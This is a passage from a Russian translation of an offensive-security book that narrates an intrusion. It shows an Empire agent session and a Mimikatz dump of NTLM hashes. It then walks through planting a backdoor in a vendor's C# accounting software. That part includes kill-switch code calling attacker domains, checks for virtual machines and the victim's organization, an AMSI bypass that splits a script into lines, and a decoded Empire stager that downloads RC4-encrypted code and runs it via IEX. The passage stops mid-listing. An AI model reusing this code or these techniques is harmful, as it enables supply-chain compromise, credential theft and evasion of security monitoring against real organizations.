
[+] Initial agent NFRSE1T2 from 31.153.30.98 now active (Slack)

Empire: bypassuac) > interact NFRSE1T2
Empire: NFRSE1T2) > info

username                GSTRUST\admin.joey
high_integrity          1
--snip--

Отлично, мы получили нового агента с установленным в 1 high_integrity, что означает, что он обладает полномочиями администратора.

Получение учётных данных

Теперь, когда у нас в необходимом сервере имеется целиком административная оболочка, давайте запустим своего возлюбленного Mimikatz для вывода дампа всех хранящихся в настоящее время в памяти полномочий:

Empire: NFRSE1T2) > mimikatz
--snip--
        msv :
         [00000003] Primary
         * Username : admin.gloria
         * Domain   : GSTRUST
         * NTLM     : 8FC3C28E0D042760C4CD4B64A5A4C2ED
         * SHA1     : 965880f68df8481d857217139865f36324f78bf7
--snip--

Мы выполнили выборку полномочий для новой учётной записи admin.gloria, а при дальнейшем осмотре мы обнаруживаем, что по воле случая данная учётная запись относится е группе Domain Admins:

root@C2Server:~# cd Empire/downloads/7S92RXMZ
root@C2Server:~# grep -A1 -I "admin.gloria"
givenname             : admin.gloria
memberof              : CN=Domain Admins,CN=Users,DC=gs...

На этот раз мы чуть не прокричали "Победа!", но мы уже знали, что когда получили свою самую первую оболочку, это будет всего лишь вопрос времени перед тем как G&S Trust рухнет. Нишевые компании редко задумываются о чём- то ином кроме своих дел и перспектив роста, а потому как только мы оказываемся внутри, игра для них практически завершается. Как уже обсуждалось ранее, кто будет платить целиком выделенной команде для мониторинга нескольких серверов и 20 рабочих станций?

В любом случае, теперь, когда официальная часть "взлома" завершена, мы наконец можем сосредоточиться на самом важном: на данных.

Ресурсы

Статья о регистрации событий WMI

Блестящая презентация Кайла Ханслована и Криса Биснетта об уклонении от автозапуска с Derbycon 2017

Обход UAC с применением fodhelper.exe

Глава 12. Совершенствуем лазейку

Содержание

Глава 12. Совершенствуем лазейку

Структура разработки

Растим лазейку

Устанавливаем капкан

Проверяем свои окрестности

Вызов полезной нагрузки

Дорабатываем своего Агента Империи

Сердцевина нашей лазейки

Угоняем фиксации

Ресурсы

Теперь, когда у нас, наконец- то, и в самом деле имеются учётные данные для разработчиков из всех отдельных групп, мы ищем любые сведения, которые способны оказать нам содействие в понимании структуры управления проектами Strat Jumbo. Это приведёт нас к обнаружению исходного кода Strat Accounting и внедрению потайного хода, который, как мы надеемся, приведёт нас непосредственно в сетевую среду G&S Trust.

Мы переключаемся между учётными записями программистов в сеансах Citrix, пока не отыщем учётную запись с заполненным профилем, к примеру, наполненную личными документами домашнюю папку, закладками Firefox, историей Firefox и тому подобным. Сейчас мы ищем вики файлы или документы, поясняющие как организованы разработчики и какие инструменты они применяют для управления версиями, ветвлениями, тестированием и многим чем ещё.

У пользователя jack.bosa из группы SNOW, похоже, имеется учётная запись, заполненная надлежащим образом. Мы запускаем Firefox при помощи учётной записи Джека и просматриваем его закладки, но ничего особенного не выделяется. Однако его история Firefox содержит значительный список интересных ссылок, как это видно из Рисунка 12.1.

Рисунок 12.1

История Firefox Джека

Мы можем вручную пройтись по этим ссылкам и попытаться разобраться в сведениях, которые они могут использовать, однако для большей эффективности мы вместо этого выполним выборку всей той базы данных, которая хранит эти URL, которая располагается в C:\Users\Jack\AppData\Roaming\Mozilla\Firefox\Profiles\<Random_string>.default\places.sqlite. Поскольку она в формате .sqlite, мы будем просматривать её в своей лаборатории при помощи классического клмента, свободно доступного из https://sqlitebrowser.org/, что отражено на Рисунке 12.2.

Рисунок 12.2

Просмотр истории браузера Джека в DB Browser для SQLite

Упорядочение всех страниц по количеству посещений снабжает нас хорошим представлением о наиболее посещаемых, а следовательно, наиболее ценных внутренних активах Strat Jumbo. То, что походит на вики сайт Strat Jumbo (howto.stratjumbo.lan), появляется среди 10 наиболее посещаемых ссылок. Это выглядит полезным!

Воспользовавшись учётными данными Джека для Windows мы прозрачно подключаемся к этой вики, а затем неспешно просматриваем этот вебсайт, впитывая как можно больше сведений о внутренних механизмах Strat Jumbo. Имеется раздел с названием "Для молодых оруженосцев" (For young squires), который особенно полезен, поскольку в нём подробно описываются внутренняя организация, кодовые названия проектов, методы программирования и рабочий процесс проверки, через который проходят новые реализации функциональных возможностей, прежде чем они будут переданы клиентам.

Структура разработки

Грубо говоря, Strat Jumbo работает примерно так: каждым клиентом управляет менеджер по работе с клиентами (CRM, customer relationship manager). Этот CRM работает с клиентом над описывающем его потребности с точки зрения бизнес- функций рабочим заданием: конкретные функциональные возможности бухгалтерского учёта, налоговые формы и тому подобное. Некоторые из этих свойств доступны в имеющемся продукте поставляемыми клиенту по умолчанию. Однако чаще всего пользовательские функциональные возможности необходимо разрабатывать специально для уникальных потребностей данного клиента. Таким образом, один единственный основной продукт разветвляется столько раз, сколько требуется, реализуя различные надстройки.

Каждая команда разработчиков специализируется примерно на одном продукте, включая все его пользовательские надстройки. Между участниками команды могут иметься пересечения, зависящие от рабочей нагрузки и нехватки навыков. На Рисунке 12.3 показано сопоставление проектов с их кодовыми названиями. Похоже, что Strat Accounting, наш Святой грааль, можно отыскать под кодовым названием проекта Baelish! Конечно, задним числом, это имеет смысл.

Рисунок 12.3

Кодовым именем Strat Accounting выступает Baelish

После каждого цикла разработки новой функциональной возможности или её улучшения, отдельная группа обеспечения качества импортирует новый код в предварительные серверы и запускает согласованную с клиентом книгу тестирования. Если всё работает как ожидалось, они отправят этот новый модуль при следующем обновлении.

Регулярные обновления основных функций производятся для всех проектов примерно каждые 12 месяцев. Однако пользовательские надстройки обновляются по запросу соответствующего клиента. В зависимости от клиента, такой график может изменяться от одного до шести месяцев. Чтобы отслеживать все эти многочисленные развилки и ветви программного обеспечения, Strat Jumbo поддерживает локальный репозиторий GitLab, URL адрес которого мы также обнаруживаем в просматриваемой вики: stratlab.stratjumbo.lan, что отражено на Рисунке 12.4.

Рисунок 12.4

GitLab репозиторий Strat Jumbo

В зависимости от того как мы глядим на него, это либо благословение, либо проклятие. С одной стороны, мы запросто можем отыскать ту ветвь, которая предназначена для G&D Trust, как это показано на Рисунке 12.5 и, таким образом, ограничиваем свой потайной ход, нацеливаясь лишь на эту конкретную компанию.

Рисунок 12.5

Выделенная для G&D Trust ветвь

С другой стороны, поскольку мы имеем дело с Git, всякое предпринимаемое нами изменение в рассматриваемом коде будет регистрироваться в соответствующей базе данных, как это видно из Рисунка 12.6.

Рисунок 12.6

Все изменения регистрируются в этой базе данных

Конечно, мы бы могли потратить ещё пару часов, копаясь в этом сервере GitLab в поисках уязвимостей, паролей root, доступа к базе данных и прочих причудливых вещей для сокрытия своей деятельности, но это вряд ли окупит наши вложения, если вы задумаетесь над этим с более широкой точки зрения.

Как бы мы не манипулировали журналами активностей, когда некто просматривает временную шкалу, он обнаружит, что всякий заложенный нами потайной ход зажат между двумя версиями: чистой и испорченной. Это выдаст справедливую оценку первого появления такого потайного хода.

Гораздо выгоднее сосредоточиться на качестве кода самого потайного хода, нежели тратить время на поиски способа проникновения в базу данных GitLab для изменения следов активности, в особенности с учётом того, что наш потайной ход проходит не регрессивное тестирование, выдерживает лёгкие проверки вручную и не замедляет работу всего продукта.

Растим лазейку

Теперь, когда мы знаем, что Baelish это кодовое имя искомого проекта Strat Accounting, мы повторно подключаемся к Citrix при помощи некой относящейся к доменной группе BAELISH и обладающей правом обновления кода Strat Accounting учётной записи. Элиза отвечает всем этим требованиям, так что мы входим под её именем.

Как нам известно, Strat Jumbo обладает отдельными ветвями для каждого важного клиента, которому требуются пользовательские модули (и которые платят за них). Это помогает нам ограничить область нашего потайного хода до G&D Trust и избежать заражения половины всей планеты. Код Strat Accounting, в целом, написан на C#, что соответствует нашей области знаний. Мы можем применять все те приёмы, которые мы исследовали ранее, от отражения до выполнения команд PowerShell.

Устанавливаем капкан

Наша первая задача состоит в том, чтобы убедиться что наш потайной ход может быть запросто включён пользователем. Его сокрытие в малоизвестном меню увеличивает его незаметность, но когда такое меню посещается лишь раз в шесть месяцев стажёром- бухгалтером, который пропустил кнопку, от него будет мало толку.

Просматривая код ветви G&S_TRUST, мы замечаем в истории фиксаций Git, что к классу SharedWindowInitializer не прикасались в течение достаточно продолжительного промежутка времени. Это из- за недостаточной пропускной способности сопровождения? Боязни сломать прикладное приложение? Или же код просто эффективен и работает как ожидалось, а потому его не трогают? Как бы то ни было, забытый код это идеальное прикрытие для наших шалостей.

Воспользовавшись обычным текстовым поиском и небольшим содействием в навигации по методам VSCode, мы перечисляем все вхождения класса SharedWindowInitializer. Его порядок исполнения достаточно сложен для того чтобы мы бы были полностью уверенными во всём, но кажется, что наш класс вызывается из класса ControlDetailsViewModel, который, согласно файлов проверки модулей, используется всеми ниспадающими меню в рассматриваемом нами прикладном приложении Strat Accounting.

Ни ControlDetailsViewModel, ни SharedWindowInitializer не обновлялись несколько лет, а оба содержат плотный код, который будет отвлекать потенциальные сторонние глаза, а потому любой из них будет хорошим местом для вставки нашего кода. Мы добавляем его в ControlDetailsViewModel, как это отражено в Листинге 12.1.

Листинг 12.1. Многообещающее место для вставки нашего кода

public ControlDetailsViewMode(IVisual control)
{
   // НАШ КОД ВСТАВЛЯЕТСЯ ЗДЕСЬ
   // Подготовка объектов для инициализации в меню экспорта
   if (control is StrataccountingObject stractaccountingObject)
   {
      Properties = StrataccountingPropertyRegistry.Instance.GetRegistered
      (strataccountingObject).Select(x => new PropertyDetails(stractaccountingObject, x)

При написании кода потайного хода существует один святой принцип, который вам всегда надлежит соблюдать: этот код должен оставаться незаметным. Он обязан сливаться с остальным кодом, но при этом во время своего исполнения быть молчаливым как могила. Отключите внутренние инстинкты разработчика. Сейчас не время регистрировать ошибки или создавать исключительные ситуации. Мы будем исполнять свой код в выделенном фоновом во избежание сбоя основного процесса рассматриваемого прикладного приложения. Таким образом, даже если нашему серверу C2 потребуется время на ответ или же по какой бы то ни было причине произойдёт сбой, само прикладное приложение продолжит свою работу как ни в чём не бывало. Дабы оставаться незамеченными, мы будем применять те же самые соглашения об именах и тот же стиль кодирования, что и в коде Strat Accounting.

Поскольку мы будем составлять свой собственный поток, мы ищем уже имеющийся код в проекте Strat Accounting, который осуществляет работу с потоками, копируем его и вставляем тот же самый фрагмент кода в ControlDetailsViewModel, а он осуществляет наш метод потайного хода Prepare_shape_ui, который мы и напишем в данный момент:

// Показанный ранее допустимый код
--snip--
public ControlDetailsViewModel(IVisual control){
--snip--

new Thread(() => {
   Thread.CurrentThread.IsBackground = true;

   // Это запускает наш потайной ход
   Prepare_shape_ui();
}).Start();

--snip--

Ладно. Наш код будет выполняться в отдельном потоке при запуске данного приложения. Это, естественно, означает, что всякий раз, когда некий бухгалтер запускает программное обеспечение Strat Accounting, мы получаем новую оболочку, которая звонит домой. Однако, несмотря на то, что я люблю оболочки не меньше чем любой иной хакер, запуск их большого числа и их звонки домой запросто могут вывести ситуацию из- под контроля. Что произойдёт когда мы закончим своё задание? Что если мы обнаружим внутри сетевых сред G&S Trust более скрытые способы обеспечения надёжности? Что если мы просто передумаем и отменим всю свою операцию целиком?

Нам необходим некий способ удалённого контроля поведением этих сигналов маяков и отключать их в случае необходимости. Для выхода из этой затруднительной ситуации мы будем полагаться на два механизма аварийного отключения: один для предотвращения запуска потайного хода во всех заражённых компьютерах, а второй для предотвращения повторного заражения одного и того же компьютера. Если что- то пойдёт не так в этих конкретных хостах, мы бы хотели обладать возможностью отключать свой потайной ход в некоторых компьютерах.

Такой глобальный переключатель уничтожения может быть либо неким запросом DNS к какому- то контролируемому нами домену, либо HTTP вызовом к принадлежащему нам серверу. Нам просто требуется обладать возможностью удалённо диктовать должен ли наш потайной ход оставаться спящим, или же его можно активировать. Второй аварийный выключатель, предотвращающий повторное заражение машины должен быть более локальным и более специфичным для каждого компьютера. Для указания на успешность компрометации мы могли бы, например, удалять такой артефакт как раздел реестра или некий файл и применять это в качестве индикатора для отключения последующих исполнений своих потайных ходов в этой же машине.

Эти две проверки будут выполняться как только мы вызовем свой метод Prepare_shape_ui(), как это показано ниже:

private void Prepare_shape_ui(){
   if (Valid_launch())
      Custom_shape_ui();
}

Когда наш метод Valid_launch возвращает false, поток нашего потайного хода втихую прекратится. Этот метод вызывает два разных метода включения уничтожения, чтобы избежать подозрений, невинно именуемые как Need_upgrade и Is_compatible:

private bool Valid_launch(){
    return Need_upgrade() && Is_compatible();
}

Метод Need_upgrade действует как наш переключатель глобального уничтожения через выборку некого файла с нашего сервера, stratjumbotech.com. Когда он пустой или в случае отказа в достижении нашего сервера, этот метод возвращает false и останавливает исполнение нашего потайного хода:

private bool Need_upgrade(){
   string s = "";
   try{
      WebClient client = new WebClient();
      s = client.DownloadString("https://stratjumbotech.com/version");
   }
   catch {}
   return s.Length > 0;
}

Метод Is_compatible, наш второй переключатель уничтожения, проверяет существует ли в нашей целевой машине ключ реестра с названием Software\Microsoft\UEV\Agent\Version. Это ключ не должен присутствовать ни в какой машине пока мы не создадим его вручную вслед за успешной компрометацией. Когда это ключ реестра присутствует, мы намеренно решаем уберечь этого пользователя от повторного заражения, а потому соответствующий потайной ход будет прекращён.

private bool Is_compatible()
{
   // Выполняем выборку ключа реестра, который не существует в обычной машине
   var name = "Software\\Microsoft\\UEV\\Agent"
   RegistryKey key = Registry.CurrentUser.OpenSubKey(name);
   // Когда ключ "Version" не обнаружен, возвращаем true и продолжаем со своим потайным ходом
   if (key != null && key.GetValue("Version") == null){
      return true;
   }
   return false;

Вас может удивить почему мы не шифруем и не запутываем свой код. Действительно ли безопасно оставлять его открытым для всеобщего обозрения? Хорошая мысль, но проблема запутывания и шифрования состоит в том, что они привлекают внимание человека. В данном случае мы не боремся с автоматизированным SIEM, мы имеем дело с людьми. При обороне безопасность запутыванием может оказаться дерьмовой концепцией, но это истинное золото в деле атакующего. Представьте себе, что это случается в единственной строке кода из 5000 символов, заполняемой шестнадцатеричными и недопустимыми символами. Естественно, ваш мозг автоматически уловит такую внезапную ересь и потребует расследования. Однако обычный код, скорее всего, останется незамеченным. В проекте Strat Accounting десятки тысяч строк кода и ни один программист не знает наизусть все его внутренние механизмы.

До тех пор, пока наш код выгляди обычным и работает, мощная мантра программирования "раз он не сломан, не чините его" должна защищать нас от опасных изменений, вносимых капризным программистом в конце рабочего дня пятницы. Когда мы добавим какой- нибудь скучный и безобидный комментарий, например "важное исправление для заказа #9812301" или "запрос клиента No. 19823124", этого будет более чем достаточно.

Проверяем свои окрестности

В идеале наш потайной ход должен оставаться бездействующим во время обычных тестов и проверок, выполняемых командой разработчиков Strat Accounting. Внезапный всплеск пропускной способности сетевой среды или вычислительных ресурсов — или, не дай бог, сбой — наверняка выдадут нас, поэтому нам необходимо быть очень скрытными и уделять пристальное внимание качеству своего кода.

Мы размещаем пару сторожевых таймеров, которые отслеживают сведения о среде, в которой исполняется наше программное обеспечение. Это позволяет нам гарантировать запуск нашего потайного хода только тогда, когда он работает на старом добром физическом ноутбуке, принадлежащем G&S Trust. Эти проверки будут выполняться методом Valid_environment, который мы поместим рядом с методом аварийного отключения Valid_launch в самом начале точки входа в наш потайной ход, Prepare_shape_ui. Здесь я выделил добавленный код жирным шрифтом:

--snip--
// If valid conditions, start the backdoor
static private void Prepare_shape_ui(){
   if (Valid_environment() && Valid_launch())
      Custom_shape_ui();
}

Наша первая проверка будет применять общее наблюдение для компаний: большинство маркирует свои рабочие станции, устанавливая уникальные имена хостов более конкретно, включая название компании в свойстве Organization общих сведений о системе. Мы можем получить это значение, воспользовавшись реестром или считав значение класса Win32_OperatingSystem WMI. В обычной командной строке нам следует ввести такую строку:

C:\> wmic os get Organization

Organization
LABTEST

Однако для достижения того же самого результата при помощи C# нам потребуется больше строк в методе, скучно именуемом Is_gpo_applied (Листинг 12.2).

Листинг 12.2. Проверка того что мы в надлежащей среде

// Импорт в самом начале нашего кода
using System.Management;

private bool Is_gpo_applied()
{

   string query = "SELECT * FROM Win32_OperatingSystem";
   var search = new ManagementObjectSearcher(query);
   foreach (ManagementObject obj in search.Get()){
      var objectName = obj["Organization"];
      if (objectName == null) { continue; }

      string name = objectName.ToString().Trim().ToLower();
      if (name.StartsWith("gs") || name.StartsWith("g&s"))
         return true;
   }

   return false;
}

Мы выполняем выборку объектов из класса Win32_OperatingSystem, затем в итерационном цикле опрашиваем поле Organization. Тогда остаётся просто воспользоваться сравнением строк для поиска явных признаков, указывающих на то, что мы пребываем в компьютере G&S Trust. Если это не так, наш метод Is_gpo_applied возвращает значение false в Valid_environment, которое каскадирует его обратно в Prepare_shape_ui для прекращения исполнения нашего потайного хода:

private bool Valid_environment(){
   return Is_gpo_applied();
}

Хотя этой проверки может быть достаточно чтобы убедиться в исполнении исключительно на машине G&S Trust, она не перечисляет все возможные ситуации. Что если Strat Jumbo обладает доступом к машинам G&S Trust для проверки своего кода перед его отправкой? Как быть когда разработчики G&S Trust тестируют свой код в некой имитации, заключённой в среду перед разработкой? Такие вариации бесконечны.

Нашим способом разрешить эту проблему является добавление пары проверок чтобы убедиться что наш код исполняется исключительно в физических ноутбуках Windows. Очевидно, это усиливает наш потайной ход для того чтобы он был способен выявлять классические виртуальные среды: VirtualBox, VMware, KVM и тому подобные.

Для сообщества вредоносных программ, как и для сообщества песочниц, это горячая тема. Одна сторона старается снарядить виртуальную машину так, чтобы она вела себя и выглядела в точности как физическая машина. Тем временем противоположная сторона пытается разрушить такую фальшивую бумажную перегородку, просматривая определённые строки в службах, процессах или ключах реестра, либо сопоставляя циклы исполнения ЦПУ на предмет явных признаков виртуализации. Основная логика таких проверок почти всегда одна и та же: поиск несоответствий в ключевом физическом компоненте, который не распознаётся программным обеспечением виртуализации.

Одним из таких компонентов выступает видеокарта. В обычной системе мы ожидаем, что её названием будет нечто вроде Intel(R) UHD Graphics, AMD RADEON HD, NVIDIA GeForce и тому подобного. В виртуальном сервере мы обнаруживаем специфичные для гипервизора адаптеры, такие как "VirtualBox Graphics Adapter for Windows 8+" или "Microsoft Basic Display Adapter". Это наводит нас на вторую проверку правильности, причём снова с применением WMI, отображаемого в Листинге 12.3.

Листинг 12.3. Проверка на виртуальность среды

private bool Valid_driver(){

   var query = "SELECT * FROM Win32_VideoController";
   var search = new ManagementObjectSearcher(query);

   foreach (ManagementObject obj in search.Get()){
      var objectName = obj["Name"];
      if (objectName == null) { continue; }
      string name = objectName.ToString().Trim().ToLower();

      // "mwa" это сокращение для vmware, а "ualb" для virtualbox
      if (name.Contains("mwa") || name.Contains("ualb") ||
         name.Contains("basic") || name.Contains("adapter")
         )
         return false;150 Chapter 12
   }

   // Когда не сработала ни одна из проверок, возвращаем true
   return true;
}

И снова, это всего лишь вопрос сравнения строк. Наш полный метод Valid_environment теперь составлен из двух проверок:

private bool Valid_environment(){
   return Is_gpo_applied() && Valid_driver();
}

Естественно, эти проверки не являются пуленепробиваемыми - настоящие защищённые песочницы криминалистики запросто способны обойти их, скрывая атрибуты реестра и прочие сведения ЦПУ - но мы не стараемся обманывать обратную инженерию вредоносного ПО. Наш действующий приоритет состоит просто в том, чтобы оставаться незаметными во время классических тестов без обратного программирования и проверок качества.

Вызов полезной нагрузки

На данный момент наш полный код потайного хода обладает следующей структурой:

// Допустимый класс, в котором мы скрываем свой код
public ControlDetailsViewModel(IVisual control){
--snip--

new Thread(() => {
   Thread.CurrentThread.IsBackground = true;

   // Здесь будет начинаться наш потайной ход
   Prepare_shape_ui();
}).Start();

--snip--

static private void Prepare_shape_ui(){
   if (Valid_environment() && Valid_launch())
      Custom_shape_ui();
}

// Определение включателя уничтожения Valid_environment()
private bool Valid_environment(){
   return Is_gpo_applied() && Valid_driver();
}

// Определение выявления виртуализации Valid_launch()
private bool Valid_launch(){
   return Need_upgrade() && Is_compatible();
}

--snip--

Мы потратили какое- то время на настройку своих охранников вокруг исполнения нашего потайного хода: два уничтожающих выключателя во избежание эффектов выхода из под контроля и выявление базовой виртуализации чтобы не допускать любопытные глаза. Далее идёт сам потайной ход, определяемый в нашем методе Custom_shape_ui. Данная функция будет просто выполнять обратный вызов сервера C2 и загружать DLL (исполняемые файлы, которые обеспечат нас удалённой оболочкой в этой машине). Давайте рассмотрим некоторые возможности.

Допустим, мы остановились на ожидающей процедуре Empire, которую мы настраивали в Главе 1. Давайте направимся в свою основную консоль и изучим возможные варианты для построения тёртых калачей (stager):

(Empire) > usestager windows/
backdoorLnkMacro  csharp_exe       launcher_bat
bunny             dll              hta
launcher_sct      launcher_xml     macroless_msword
launcher_lnk      launcher_vbs     macro
teensy            shellcode        wmic

Как много возможностей. Учитывая, что на данный момент мы строим тайный ход приложения C#, имеет смысл воспользоваться практикой csharp_exe. Она должна выдать сборку .NET, которую мы способны загрузить при помощи отражения. Однако, если вы внимательно изучите код скелета C#, применяемый для создания этой практики в CSharpPS.yaml (доступного через https://bit.ly/3qAs4Oc), вы заметите, что это не более чем просто оболочка, которая вызывает эквивалент PowerShell -Command <stager_code>, где <stager_code> содержит реальную логику взаимодействия C2, написанную на PowerShell - в точности ту, которая применялась для обхода Citrix несколько глав тому назад. Листинг 12.4 показывает значимую часть этого кода.

Листинг 12.4. Реальный код для практики csharp.exe

--snip--
PowerShell ps = PowerShell.Create();
String script = "{{ REPLACE_LAUNCHER }}";

var unicodABytAs = System.ConvArt.FromBasA64String(script)
String decodAd = System.TAxt.Encoding.UnicodA.GetString(unicodABytes)
ps.AddScript(decodAd);
   try
   {
      ps.InvokA();
   }
--snip--

Это допустимая методика, однако, к сожалению, отличительные признаки этого шаблона C# и сопутствующего ему запутывающего PowerShell запросто подхватываются AMSI прежде чем мы даже получим некий шанс отключить его. Чтобы оставаться в безопасности, нам бы потребовалось потрепать его или вовсе воспользоваться иным. Давайте повторно посетим тот код, который мы применяли при обходе Citrix (Листинг 12.5).

Листинг 12.5. Сценарий, очень похожий на тот, который мы применяли для обхода Citrix

namespace fud_stager {
class Program {
   static void Main(string[] args){
   PowerShell Ps_instance = PowerShell.Create();
   WebClient myWebClient = new WebClient();

   try {
      var url = "https://stratjumbo.co.au/readme.txt"
      var script = myWebClient.DownloadString(url);

   } catch {}

   Ps_instance.AddScript(script);
   Ps_instance.AddCommand("out-string");
   Ps_instance.Invoke();
   } // Конец Main
} // Конец класса Program
} // Конец пространства имён fud_stager

Функционально он похож, но достаточно отличается чтобы оставаться незамеченным AMSI. Как видите, вместо того чтобы хранить сценарий PowerShell в исполняемом файле, данный код извлекает его из удалённого места чтобы ещё больше скрыть при загрузке его исполняемого файла в память. Но этого недостаточно: AMSI по- прежнему будет вопить, когда мы вызовем этот метод Invoke для загрузки известного унифицированного практика PowerShell Empire. Если мы желаем пойти по этому пути, нам необходимо либо изменить самого практика PowerShell, либо изменить способ его исполнения. Если вы готовы, вы даже можете перекодировать логику этого практика (stager) на чистом C#, это должно сотворить чудо.

[Замечание]
Замечание

Empire теперь интегрирован с Covenant, другой инфраструктурой C2 и поглощает свои модули C#. Вы можете наблюдать это в коде Empire.Agent.cs, который в настоящее время поддерживает полного практика C#, если вы пожелаете поиграться с ним вместо этого.

Тем не менее, мы воспользуемся менее затратным подходом и просто изменим способ исполнения этого сценария, дабы он не казался столь подозрительным. Видите ли, дело в том, что AMSI скулит лишь потому, что мы загружаем известный ему сценарий PowerShell одним махом. Найденный мной простой путь обхода состоит в том, чтобы порезать этот сценарий на множество строк, а затем загружать каждую из них по- отдельности. Мы вносим правки в свой предыдущий файл loader_stager.cs из папки cs_scripts в https://github.com/sparcflow/HackLikeALegend/, как это отражено в Листинге 12.6.

Листинг 12.6. Наш обновлённый код во избежание исполнения полного сценария PowerShell за раз

string[] array = script.Split('\n');
foreach (string value in array){
   Ps_instance.AddScript(value);
}
Ps_instance.AddCommand("out-string");
Ps_instance.Invoke();

Этот очень простой трюк позволяет нам обойти AMSI при помощи унифицированного сценария Empire. Безумно, не так ли? Единственным препятствием является то, что унифицированный сценарий Empire представляет собой одну длинную строку, которую нельзя запросто разбить на осмысленные команды PowerShell, разделённые разрывами строк. Нам необходимо преобразовать его из однострочного сценария в многострочный, который затем можно загрузить при помощи кода из Листинга 12.5.

Дорабатываем своего Агента Империи

У нас имеется свой план. Теперь перейдём к Empire для выработки агента сценария, который будет загружен нашим практиком (stager) C#. Мы воспользуемся базовым модулем launcher_bat, который должен содержать тот сценарий PowerShell, который мы хотим попилить:

(Empire: listeners) > Usestager windows/launcher_bat
(Empire: windows/launcher_bat) > set Listener https_1
(Empire: windows/launcher_bat) > generate
[*] Stager output written out to: /tmp/launcher.bat

Мы желаем чтобы наш файл /tmp/launcher.bat содержал только необходимые команды PowerShell, поэтому мы отсекаем его заголовок при помощи команды tail -1 , а затем изолируем закодированную полезную нагрузку при помощи cut, запитывая ею кодировщик base64 и преобразовывая её в UTF-8 через iconv:

root@FrontLine:~/hll# tail -1 launcher.bat \
| cut -d " " -f 8 \
base64 -d \
iconv -f UTF-16 -t UTF-8> decoded.txt

If($PSVErSiOnTABlE.PSVERSIoN.MajOR -Ge 3){$c322=[REf].ASseMblY.GEtType('System.Management.Automation.Utils')."GETFIe`ld"('cachedGroupPolicySettings','N'+'onPublic,Static');IF($c322)
--snip--

Этот вывод заставляет ваши глаза кровоточить, но е не смог найти приличную программу изящного форматирования PowerShell, поэтому нам придётся разделить этот сценарий по старинке, воспользовавшись магией sed. Мы из стратегических соображений разместим разрывы строк после нескольких точек с запятой, а затем вручную исправим некоторые циклы и условия, которые не работают. В Листинге 12.7 показана сама команда и несколько первых строк (усечённых) вывода.

Листинг 12.7. Первые несколько строк нашего агента PowerShell

root@FrontLine:~/hll# sed -i decoded.txt 's/;\([$-]\)/;\n\1/g'
| sed -e '1,8d'

IF($PSVerSiONTaBle.PSVErSIon.MajoR -gE...
$C742['ScriptB'+'lockLogging']){$c742[...
$c742['ScriptB'+'lockLogging']['EnableS...
--snip--

По общему признанию, особых улучшений здесь не наблюдается, но для этого существует причина: первые восемь строк вывода выступают частью большого оператора if, который проверяет версию PowerShell чтобы решить следует ли отключать AMSI и ведение журнала блоков сценариев. Этот код никогда не должен был быть разбитым sed, поэтому мы воссоздаём эти восемь строк в одну для получения корректного синтаксиса.

Следующие строки, показанные в Листинге 12.8, намного дружелюбнее чем они казались раньше и, я надеюсь, теперь вы с ними разберётесь.

Листинг 12.8. Следим за строками, которые готовят WebClient

$5793=New-OBjeCt SystEM.NeT.WeBCLIEnT;
$u='Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0)';
$ser=$([TEXT.Encoding]::UNicodE.GEtSTRiNg([COnvErT]::FROmBAse64StRiNG('aAB0AHQAcABzADoALwAvAHMAdAByAGEAdABqAHUAbQBiAG8ALgBjAG8ALgBhAHUA')));
$t='/complete/search?q=wolf ';
$5793.HEaDerS.ADd('User-Agent',$u);

Как мы это выполняли много раз ранее, для доставки своей полезной нагрузки мы пользуемся System.Net.WebClient. Вы узнаете наш поддельный URL поиска Google и заголовок User-Agent, который мы тоже настраивали в Главе 1 эти строки отлично разбиты sed, поэтому мы двинемся вперёд.

Далее у нас имеется странная часть в Листинге 12.9, которая выглядит как некая форма низкоуровневой манипуляции с байтами.

Листинг 12.9. RC4 шифрование сведений обмена с сервером C2

K=[SysTem.TExT.EnCOdINg]::ASCII.GeTBYTeS(‘0[l=.1p*-ov>7BceYk:{(LJtbWwq5A&a’);
$R={$D,$K=$ARGs; $S=0..255; 0..255|%{$J=($J+$S[$_]+$K[$_%$K.CoUnt])%256;
$S[$_],$S[$J]=$S[$J],$S[$_]};
$D|%{$I=($I+1)%256; $H=($H+$S[$I])%256; $S[$I],$S[$H]=$S[$H],$S[$I]; $_-Bxor$S[($S[$I]+$S[$H])%256]}};

Это и вправду алгоритм шифрования RC4. Переменная $K содержит значение ключа, а значение переменной $R это большой цикл, который выполняет смешивание XOR и перестановку получаемого входа. Мы сливаем две последние строки воедино для допустимого синтаксиса.

Затем наступает окончательный фрагмент, в котором мы добавляем заголовок Cookie, выгружаем данные, расшифровываем их и потом исполняем их (Листинг 12.10). Эта часть была отформатирована надлежащим образом нашим потоком sed, потому мы оставляем её как есть.

Листинг 12.10. Окончательный фрагмент кода, который выгружает данные, расшифровывает их и исполняет их

$5793.HEADeRS.AdD("Cookie","SILkUHjXHiJFQn=OdUxIJIMkKxTRVqoXutMnsDGaUc=");
$dATA=$5793.DoWNLoadDATA($SER+$T);
$iV=$daTa[0..3];
$dAtA=$Data[4..$daTA.LENGTh];
-JoIn[CHar[]](& $R $DaTA ($IV+$K))|IEX

Вот и всё: вся полезная нагрузка Empire переделана в виде последовательности инструкций, разделённых разрывами строк.

[Замечание]
Замечание

Эта полезная нагрузка, несомненно, изменится к тому моменту, когда вы возьмётесь за эти строки, но общие положения должны остаться прежними и, надеюсь, вы сможете следовать той же методологии для рассечения полезной нагрузки вашего времени.

Мы сохраняем разбитый на строки код в файле с названием readme.txt и выгружаем его в свой сервер C2, stratjumbo.co.au. Теперь у нас имеется практика (stager) Empire, составленная из 25 различных строк, причём каждая из них может исполняться как отдельная команда PowerShell. Это именно то, чего ожидает наш загрузчик C#.

Теперь мы можем скомпилировать свой загрузчик C#, fud_stager в файл с названием health-check, воспользовавшись либо Visual Studio, либо компилятором C# csc.exe, как это показано здесь:

PS:C:\Lab> C:\Microsoft.Net.Compilers.3.8.0\tools\csc.exe /reference:C:\Windows\assembly\GAC_MSIL\System.Management.Automation\1.0.0.0__31bf3856ad364e35\System.Management.Automation.dll /unsafe /out:health-check Program.cs

Обратите внимание, что мы оставили расширение .exe в названии исполняемого файла health-check, чтобы позднее избежать подозрений при жёстком кодировании URL- адреса в своём коде. Также мы выгружаем этот файл в свой сервер C2.

Сердцевина нашей лазейки

Теперь мы можем вернуться к своему тайному ходу в коде Strat Accounting и, наконец, написать само тело метода Custom_shape_ui, которое просто инициализирует WebClient и выгружает наш исполняемый health-check (Листинг 12.11).

Листинг 12.11. Наш метод Custom_shape_ui

using System.Net;
using System.Reflection;

static private void Custom_shape_ui()
{

   // Массив, который содержит нашу сборку
